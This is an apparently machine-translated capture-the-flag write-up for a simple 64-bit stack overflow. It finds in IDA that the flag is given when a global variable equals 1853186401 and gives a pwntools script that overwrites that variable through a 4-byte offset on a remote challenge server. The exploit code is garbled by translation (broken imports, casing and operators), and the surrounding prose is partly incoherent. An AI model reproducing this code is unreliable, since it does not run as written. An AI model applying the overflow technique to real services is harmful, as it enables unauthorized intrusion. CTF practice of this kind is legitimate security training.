Take the process to see if the file type
64, opened a NX
Direct throw IDA analysis
View sub_400686 ()
Is a flag to the function, we can see that the conditions are satisfied, if the statement of the dword_60106C == 1853186401 can get flag.
Calculate the offset
0x6C-0x68 = 0x4 4 is offset so simple variable covering a next write directly exp
exp:
from PWN Import *
P = Remote ( '111.198.29.45', 32077)
payload = 'A'. 4 * + P64 (0x6E756161) // 1853186401 turned into hexadecimal (also not turn rows)
p.recvuntil ( " GET the HelloWorld for bof lets \ the n-")
p.sendline (payload)
p.interactive ()